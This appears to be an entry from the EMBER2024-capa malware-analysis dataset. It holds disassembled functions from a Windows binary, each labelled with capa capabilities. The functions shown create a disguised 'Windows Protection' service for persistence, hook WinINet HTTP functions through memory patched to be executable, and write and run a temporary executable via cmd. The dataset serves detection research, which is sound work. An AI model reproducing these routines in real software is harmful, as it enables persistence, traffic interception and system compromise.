joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002f77
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
lea eax, [ebp - 0xc]
push eax
push 2
push dword [ebp + 8]
xor esi, esi
xor ebx, ebx
inc esi
mov dword [ebp - 0xc], ebx
call dword [sym.imp.msi.dll_MsiOpenProductW]
test eax, eax
jne 0x10003033
push edi
lea eax, [ebp - 4]
push eax
push 0x1000d388
push dword [ebp - 0xc]
mov dword [ebp - 4], ebx
call dword [sym.imp.msi.dll_MsiEnumClientsA]
mov edi, dword [sym.imp.msi.dll_MsiConfigureFeatureFromDescriptorA]
test eax, eax
jne 0x10003029
push esi
call dword [sym.imp.msi.dll_MsiDatabaseExportA]
mov dword [ebp - 8], eax
test eax, eax
je 0x10003024
push eax
push dword [ebp - 4]
call dword [sym.imp.msi.dll_MsiViewModify]
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
call dword [sym.imp.msi.dll_MsiDatabaseIsTablePersistentA]
test eax, eax
jne 0x1000301f
mov word [ebp - 0x50], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x50]
push eax
push esi
push dword [ebp - 8]
mov dword [ebp - 0x10], 0x20
call dword [sym.imp.msi.dll_MsiRecordSetStreamA]
test eax, eax
jne 0x10003016
cmp word [ebp - 0x50], 0x32
jne 0x10003016
cmp word [ebp - 0x4e], ax
cmove esi, eax
push dword [ebp - 4]
call dword [sym.imp.msi.dll_MsiViewGetErrorW]
push dword [ebp - 8]
call edi
push dword [ebp - 4]
call edi
push dword [ebp - 0xc]
call edi
pop edi
test esi, esi
je 0x1000306b
push 0x14
pop ecx
call fcn.1000ad8b
mov esi, eax
test esi, esi
je 0x10003055
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi], 0x1000d67c
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
jmp 0x10003057
mov esi, ebx
mov ecx, dword [ebp + 0x14]
push esi
call fcn.1000aed5
mov edx, dword [ebp + 8]
lea ecx, [esi + 0xc]
call fcn.1000aefa
pop esi
pop ebx
leave
ret 0x10
Function at 0x10003071
Capabilities:
Enumerate pe sections
Get file size
Parse pe header
Read file on windows

Disassembly:
mov eax, 0x100c
call sub.ntdll.dll__chkstk
push esi
push ecx
push ecx
lea eax, [esp + 0x18]
push eax
push ecx
mov ecx, dword [esp + 0x1024]
lea edx, [esp + 0x820]
call fcn.1000b03e
push 0
push 0x8000000
push 3
push 0
push 1
push 0x80000000
push dword [esp + 0x102c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000320f
push ebx
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov ecx, ebx
call fcn.1000ad8b
push 0
mov edi, eax
lea eax, [esp + 0x18]
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100030f1
cmp dword [esp + 0x14], ebx
je 0x100030fa
mov ecx, edi
call fcn.1000ad9b
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1000320d
mov eax, 0x5a4d
xor esi, esi
xor edx, edx
push ebp
cmp word [edi], ax
jne 0x10003156
mov ecx, dword [edi + 0x3c]
add ecx, edi
cmp dword [ecx], 0x4550
jne 0x10003156
movzx eax, word [ecx + 0x14]
movzx ebp, word [ecx + 6]
lea edx, [ecx + 0x18]
add edx, eax
xor ebx, ebx
test ebp, ebp
je 0x10003153
mov eax, dword [edx + 0x24]
and eax, 0x60000020
cmp eax, 0x60000020
je 0x10003151
inc ebx
add edx, 0x28
cmp ebx, ebp
jb 0x10003138
jmp 0x10003153
mov esi, edx
mov edx, dword [ecx + 0x28]
mov eax, dword [esp + 0x1024]
xor ecx, ecx
mov ebx, dword [eax + 0x3c]
add ebx, eax
mov dword [esp + 0x10], ebx
movzx eax, word [ebx + 0x14]
add ebx, 0x18
add ebx, eax
mov eax, dword [esp + 0x10]
xor ebp, ebp
movzx eax, word [eax + 6]
mov dword [esp + 0x14], eax
test eax, eax
je 0x100031a0
mov eax, dword [ebx + 0x24]
and eax, 0x60000020
cmp eax, 0x60000020
je 0x1000319e
inc ebp
add ebx, 0x28
cmp ebp, dword [esp + 0x14]
jb 0x10003183
jmp 0x100031a0
mov ecx, ebx
pop ebp
test esi, esi
je 0x10003206
test ecx, ecx
je 0x10003206
mov eax, dword [esi + 0x10]
cmp eax, dword [ecx + 0x10]
jne 0x100031c2
mov eax, dword [esp + 0xc]
sub edx, dword [esi + 0xc]
mov eax, dword [eax + 0x28]
sub eax, dword [ecx + 0xc]
cmp edx, eax
je 0x10003206
push 0x14
pop ecx
call fcn.1000ad8b
mov esi, eax
test esi, esi
je 0x100031e8
and dword [esi + 4], 0
and dword [esi + 8], 0
and dword [esi + 0xc], 0
and dword [esi + 0x10], 0
mov dword [esi], 0x1000d67c
jmp 0x100031ea
xor esi, esi
mov ecx, dword [esp + 0x1028]
push esi
call fcn.1000aed5
mov edx, dword [esp + 0x101c]
lea ecx, [esi + 0xc]
call fcn.1000aefa
mov ecx, edi
call fcn.1000ad9b
pop edi
pop ebx
pop esi
add esp, 0x100c
ret 0x10
Function at 0x10003314
Capabilities:
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1814
call sub.ntdll.dll__chkstk
push ebx
push esi
push edi
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ntdll.dll_RtlRandom]
xor edx, edx
mov ecx, 0xff
div ecx
lea esi, [edx + 1]
mov ecx, esi
call fcn.1000ad8b
mov edi, eax
push esi
mov dl, 1
mov ecx, edi
call fcn.1000ad73
test edi, edi
je 0x10003455
lea eax, [ebp - 8]
push eax
push dword [ebx + 4]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
mov edx, esi
mov ecx, edi
call fcn.1000616a
mov edx, dword [ebx + 4]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push ecx
push dword [ebp + 0xc]
mov ecx, dword [ebx]
call fcn.10001b00
test eax, eax
je 0x10003446
push ecx
push ecx
lea eax, [ebp - 0x1814]
push eax
push ecx
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x1014]
call fcn.1000b03e
lea edx, [ebp - 0x1014]
lea ecx, [ebp - 0x814]
call fcn.1000ad09
mov edx, 0x1000d384
lea ecx, [ebp - 0x814]
call fcn.1000ad37
lea edx, [ebp - 0x1814]
lea ecx, [ebp - 0x814]
call fcn.1000ad37
mov edx, str..exe
lea ecx, [ebp - 0x814]
call fcn.1000ad37
xor ebx, ebx
push ebx
push 0x80
push 4
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x814]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000343e
push ebx
lea eax, [ebp + 0xc]
push eax
push dword [ebp - 0x14]
mov dword [ebp + 0xc], ebx
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
call fcn.1000ad9b
mov ecx, dword [ebp - 0xc]
call fcn.1000ad9b
mov ecx, edi
call fcn.1000ad9b
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x1000345c
Capabilities:
Clear file content
Delete file
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x181c
call sub.ntdll.dll__chkstk
push ebx
push esi
xor esi, esi
push esi
push 0x8000000
push 3
push esi
push 1
push 0x80000000
push dword [ebp + 8]
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100035e8
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
mov ecx, edi
call fcn.1000ad8b
push 0
mov esi, eax
lea eax, [ebp - 0x1c]
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100034c0
cmp dword [ebp - 0x1c], edi
je 0x100034cb
mov ecx, esi
call fcn.1000ad9b
xor esi, esi
xor edi, edi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
test esi, esi
je 0x100035e7
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
mov edx, edi
push dword [eax + 4]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xc]
push eax
mov ecx, esi
call fcn.1000616a
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
mov eax, dword [ebp - 8]
push dword [ebp - 0xc]
mov edx, dword [eax + 4]
push ecx
push dword [ebp + 0xc]
mov ecx, dword [eax]
call fcn.10001e87
test eax, eax
je 0x100035d8
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push ecx
push ecx
lea eax, [ebp - 0x181c]
push eax
push ecx
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x101c]
call fcn.1000b03e
lea edx, [ebp - 0x101c]
lea ecx, [ebp - 0x81c]
call fcn.1000ad09
mov edx, 0x1000d384
lea ecx, [ebp - 0x81c]
call fcn.1000ad37
lea edx, [ebp - 0x181c]
lea ecx, [ebp - 0x81c]
call fcn.1000ad37
mov edx, str..exe
lea ecx, [ebp - 0x81c]
call fcn.1000ad37
xor eax, eax
push eax
push 0x80
push 4
push eax
push eax
push 0x40000000
lea eax, [ebp - 0x81c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x100035d0
and dword [ebp + 8], 0
push 0
lea eax, [ebp + 8]
push eax
push dword [ebp - 0x14]
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call ebx
mov ecx, dword [ebp - 4]
call fcn.1000ad9b
mov ecx, dword [ebp - 0xc]
call fcn.1000ad9b
mov ecx, esi
call fcn.1000ad9b
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x100035ee
Capabilities:
Delete file
Get common file path
Write file on windows

Disassembly:
sub esp, 0x428
push esi
push edi
lea eax, [esp + 8]
push eax
push 2
push dword [esp + 0x43c]
xor esi, esi
mov edi, ecx
mov dword [esp + 0x14], esi
call dword [sym.imp.msi.dll_MsiOpenProductW]
test eax, eax
jne 0x10003796
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.ntdll.dll_RtlRandom]
xor edx, edx
mov ecx, 0xff
div ecx
lea ebp, [edx + 1]
mov ecx, ebp
call fcn.1000ad8b
mov ebx, eax
xor eax, eax
push ebp
lea edx, [eax + 1]
mov ecx, ebx
call fcn.1000ad73
test ebx, ebx
je 0x1000378a
lea eax, [esp + 0x1c]
push eax
push dword [edi + 4]
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x24]
push eax
mov edx, ebp
mov ecx, ebx
call fcn.1000616a
mov edx, dword [edi + 4]
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x24]
push eax
push dword [esp + 0x1c]
push dword [esp + 0x24]
push ecx
push dword [esp + 0x454]
mov ecx, dword [edi]
call fcn.100021eb
test eax, eax
je 0x1000377a
lea eax, [esp + 0x230]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [esp + 0x28]
push eax
push esi
push 0x1000d430
lea eax, [esp + 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov edx, str..exe
lea ecx, [esp + 0x28]
call fcn.1000ad37
push esi
push 0x80
push 4
push esi
push esi
push 0x40000000
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x10003771
push esi
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x2c]
mov dword [esp + 0x20], esi
push dword [esp + 0x2c]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 1
test eax, eax
pop eax
push edi
cmovne esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x10003771
lea eax, [esp + 0x28]
push eax
push ecx
push dword [esp + 0x18]
call fcn.10003a17
test eax, eax
je 0x10003766
sub esp, 0x10
push dword [esp + 0x20]
call fcn.10003a9e
test eax, eax
je 0x10003766
sub esp, 0xc
push dword [esp + 0x1c]
call fcn.10003b12
test eax, eax
je 0x10003766
push dword [esp + 0x10]
call dword [sym.imp.msi.dll_MsiDatabaseGenerateTransformW]
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [esp + 0x20]
call fcn.1000ad9b
mov ecx, dword [esp + 0x18]
call fcn.1000ad9b
mov ecx, ebx
call fcn.1000ad9b
push dword [esp + 0x10]
call dword [sym.imp.msi.dll_MsiConfigureFeatureFromDescriptorA]
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x428
ret 0xc
Function at 0x10003d13
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
and dword [ebp], 0
mov esi, ecx
push edi
mov ecx, dword [esi]
mov dword [esp + 0x10], edx
call fcn.10003cef
mov ebx, eax
mov dword [esi], ebx
mov edi, ebx
cmp byte [edi], 0x37
jne 0x10003d3d
xor eax, eax
inc eax
jmp 0x10003d48
mov ecx, edi
call fcn.1000574f
test eax, eax
je 0x10003dc6
add edi, eax
mov eax, edi
sub eax, ebx
cmp eax, 6
jl 0x10003d33
push 0x40
push 0x3000
push 0x1000
push 0
sub edi, ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea esi, [eax + 4]
mov dword [ebp], eax
push edi
mov edx, ebx
mov ecx, esi
mov dword [eax], edi
call fcn.1000adab
mov eax, ebx
sub eax, esi
mov byte [esi + edi], 0xe9
sub eax, 5
mov dword [esi + edi + 1], eax
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
and dword [esp + 0x18], 0
lea eax, [esp + 0x18]
push eax
push 0x40
push edi
push ebx
call esi
mov ecx, dword [esp + 0x10]
call fcn.10003cef
lea ecx, [esp + 0x18]
push ecx
push dword [esp + 0x1c]
sub eax, ebx
push edi
sub eax, 5
push ebx
mov byte [ebx], 0xe9
mov dword [ebx + 1], eax
call esi
xor eax, eax
inc eax
jmp 0x10003dc8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 4

Function at 0x10003dd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
and dword [esp], 0
push ebx
push ebp
push edi
lea eax, [esp + 0xc]
push eax
mov ebp, edx
push 0x40
mov edi, dword [ebp]
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edx, [ebp + 4]
push edi
mov ecx, ebx
call fcn.1000adab
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x8000
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10004a25
Capabilities:
Link many functions at runtime

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
mov edi, ecx
push 0x1000d720
push edi
call esi
push 0x1000f578
mov edx, 0x10003e1d
mov ecx, 0x1000f57c
mov dword [0x1000f57c], eax
call fcn.10003d13
mov eax, dword [0x1000f578]
push str.HttpOpenRequestW
add eax, 4
push edi
mov dword [0x1000f5dc], eax
call esi
push 0x1000f570
mov edx, 0x10003e55
mov ecx, 0x1000f574
mov dword [0x1000f574], eax
call fcn.10003d13
mov eax, dword [0x1000f570]
push 0x1000d748
add eax, 4
push edi
mov dword [0x1000f5e0], eax
call esi
push 0x1000f568
mov edx, 0x10003ee4
mov ecx, 0x1000f56c
mov dword [0x1000f56c], eax
call fcn.10003d13
mov eax, dword [0x1000f568]
push str.HttpSendRequestW
add eax, 4
push edi
mov dword [0x1000f5e4], eax
call esi
push 0x1000f560
mov edx, 0x10003f13
mov ecx, 0x1000f564
mov dword [0x1000f564], eax
call fcn.10003d13
mov eax, dword [0x1000f560]
push 0x1000d770
add eax, 4
push edi
mov dword [0x1000f5e8], eax
call esi
push 0x1000f558
mov edx, 0x100041e5
mov ecx, 0x1000f55c
mov dword [0x1000f55c], eax
call fcn.10003d13
mov eax, dword [0x1000f558]
push str.HttpQueryInfoW
add eax, 4
push edi
mov dword [0x1000f554], eax
call esi
push 0x1000f54c
mov edx, 0x100043bf
mov ecx, 0x1000f550
mov dword [0x1000f550], eax
call fcn.10003d13
mov eax, dword [0x1000f54c]
push str.InternetQueryDataAvailable
add eax, 4
push edi
mov dword [0x1000f548], eax
call esi
push 0x1000f540
mov edx, 0x100043ee
mov ecx, 0x1000f544
mov dword [0x1000f544], eax
call fcn.10003d13
mov eax, dword [0x1000f540]
add eax, 4
mov dword [0x1000f5ec], eax
push 0x1000d7ac
push edi
call esi
push 0x1000f538
mov edx, 0x100044c7
mov ecx, 0x1000f53c
mov dword [0x1000f53c], eax
call fcn.10003d13
mov eax, dword [0x1000f538]
push str.InternetReadFileExA
add eax, 4
push edi
mov dword [0x1000f5f0], eax
call esi
push 0x1000f530
mov edx, 0x1000466e
mov ecx, 0x1000f534
mov dword [0x1000f534], eax
call fcn.10003d13
mov eax, dword [0x1000f530]
push str.InternetReadFileExW
add eax, 4
push edi
mov dword [0x1000f5f4], eax
call esi
push 0x1000f528
mov edx, 0x100046d1
mov ecx, 0x1000f52c
mov dword [0x1000f52c], eax
call fcn.10003d13
mov eax, dword [0x1000f528]
add eax, 4
pop edi
mov dword [0x1000f5f8], eax
pop esi
ret
Function at 0x10005fa3
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x18
push ebp
xor ebp, ebp
push esi
mov esi, ecx
mov dword [eax], ebp
mov eax, dword [esp + 0x2c]
mov edx, dword [esi + 0x3c]
mov dword [eax], ebp
add edx, esi
mov eax, 0x14c
push edi
mov edi, ebp
cmp word [edx + 4], ax
jne 0x10006102
push ebx
mov ebx, dword [edx + 0x88]
mov dword [esp + 0x20], ebx
test ebx, ebx
je 0x10006101
cmp dword [edx + 0x8c], ebp
je 0x10006101
movzx eax, word [edx + 0x14]
add eax, 0x18
add eax, edx
movzx edx, word [edx + 6]
mov ecx, ebp
test edx, edx
je 0x10006101
cmp dword [eax + 0xc], ebx
je 0x10006017
inc ecx
add eax, 0x28
cmp ecx, edx
jb 0x10006005
jmp 0x10006101
mov edx, dword [eax + 0x14]
add edx, esi
mov dword [esp + 0x18], edx
movzx ecx, word [edx + 0xe]
movzx eax, word [edx + 0xc]
add ecx, eax
mov dword [esp + 0x24], ecx
mov ebx, ebp
je 0x10006101
mov eax, ebp
mov esi, dword [edx + eax*8 + 0x14]
and esi, 0x7fffffff
add esi, edx
push 0
movzx ebp, word [esi + 0xe]
movzx eax, word [esi + 0xc]
add ebp, eax
mov dword [esp + 0x18], ebp
pop ebp
mov dword [esp + 0x10], ebp
je 0x100060f5
mov ecx, dword [esp + 0x14]
xor eax, eax
mov ebp, dword [esp + 0x2c]
cmp word [esi + eax*8 + 0x10], bp
mov ebp, dword [esp + 0x10]
jne 0x100060dd
mov ecx, dword [esi + eax*8 + 0x14]
and ecx, 0x7fffffff
add ecx, edx
push 0
movzx ebp, word [ecx + 0xe]
movzx eax, word [ecx + 0xc]
add ebp, eax
mov dword [esp + 0x20], ebp
pop ebp
je 0x100060d1
xor eax, eax
mov edx, 0x409
cmp word [ecx + eax*8 + 0x10], dx
mov edx, dword [esp + 0x18]
je 0x100060b1
inc ebp
movzx eax, bp
cmp eax, dword [esp + 0x1c]
jb 0x10006095
jmp 0x100060d1
mov ecx, dword [ecx + eax*8 + 0x14]
mov edi, dword [esp + 0x30]
mov eax, dword [ecx + edx]
sub eax, dword [esp + 0x20]
add eax, edx
mov dword [edi], eax
mov eax, dword [ecx + edx + 4]
mov ecx, dword [esp + 0x34]
xor edi, edi
mov dword [ecx], eax
inc edi
test edi, edi
jne 0x10006101
mov ebp, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
inc ebp
movzx eax, bp
mov dword [esp + 0x10], ebp
cmp eax, ecx
jb 0x10006065
test edi, edi
jne 0x10006101
mov ecx, dword [esp + 0x24]
inc ebx
movzx eax, bx
cmp eax, ecx
jb 0x10006038
pop ebx
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0x18
ret 0xc
Function at 0x10008149
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
push 0xf003f
xor esi, esi
push esi
push esi
mov ebx, ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x100081f7
push esi
push esi
push str.RPCSS
push esi
push esi
push ebx
xor eax, eax
inc eax
push eax
push 2
push 0x10
push 0xf01ff
push str.Windows_Protection
push str.spsrv
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov ebx, eax
test ebx, ebx
je 0x100081f0
lea eax, [ebp - 4]
push eax
xor eax, eax
inc eax
push eax
push ebx
mov dword [ebp - 4], 0x1000f030
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
test eax, eax
je 0x100081e9
xor eax, eax
inc eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
push eax
push 2
push ebx
mov dword [ebp - 8], 0xea60
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
test eax, eax
push 1
pop eax
cmovne esi, eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x10008200
Capabilities:
Delete service
Stop service

Disassembly:
sub esp, 0x1c
push esi
push edi
push 0xf003f
xor esi, esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x10008260
push ebx
push 0x10020
push str.spsrv
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
je 0x10008258
lea eax, [esp + 0xc]
push eax
xor eax, eax
inc eax
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_ControlService]
push ebx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
push 1
pop eax
push ebx
cmovne esi, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop ebx
pop edi
mov eax, esi
pop esi
add esp, 0x1c
ret

Function at 0x10008268
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
push 0xf003f
xor esi, esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x100082c4
push ebx
push 0x10
push str.spsrv
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
je 0x100082bc
lea eax, [ebp - 8]
push eax
push 2
push ebx
mov dword [ebp - 8], str.spsrv
mov dword [ebp - 4], 0x1000da5c
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
inc esi
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop ebx
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x1000912e
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0xc74
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x278]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [esp + 0x70]
push eax
xor ebp, ebp
push ebp
push 0x1000d430
lea eax, [esp + 0x284]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov ax, word [esp + 0x70]
lea esi, [esp + 0x70]
mov edx, ebp
test ax, ax
je 0x1000919b
movzx eax, ax
mov ecx, ebp
cmp ax, 0x5c
je 0x10009187
cmp ax, 0x2f
jne 0x1000918d
lea esi, [esp + 0x72]
add esi, ecx
inc edx
lea ecx, [edx + edx]
movzx eax, word [esp + ecx + 0x70]
test ax, ax
jne 0x1000917b
mov edx, str..exe
mov ecx, esi
call fcn.1000ad37
push ebp
push 0x80
push 2
push ebp
push ebp
push 0x40000000
lea eax, [esp + 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x10009280
push ebp
lea eax, [esp + 0x18]
push eax
push dword [esp + 0xc94]
mov dword [esp + 0x20], ebp
push dword [esp + 0xc94]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
inc ecx
test eax, eax
mov esi, ebp
push edi
cmovne esi, ecx
call ebx
test esi, esi
je 0x10009280
lea eax, [esp + 0x70]
push eax
push str.cmd__C___s_
lea eax, [esp + 0x488]
push 0x400
push eax
call fcn.1000ad60
push 0x40
lea eax, [esp + 0x40]
push ebp
push eax
call sub.ntdll.dll_memset
xor eax, eax
mov dword [esp + 0x34], ebp
add esp, 0x1c
lea edi, [esp + 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x280]
push eax
push ebp
push 0xc000000
push ebp
push ebp
push ebp
lea eax, [esp + 0x4a0]
push eax
push ebp
mov dword [esp + 0x50], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10009280
push dword [esp + 0x1c]
call ebx
push dword [esp + 0x18]
call ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc74
ret 8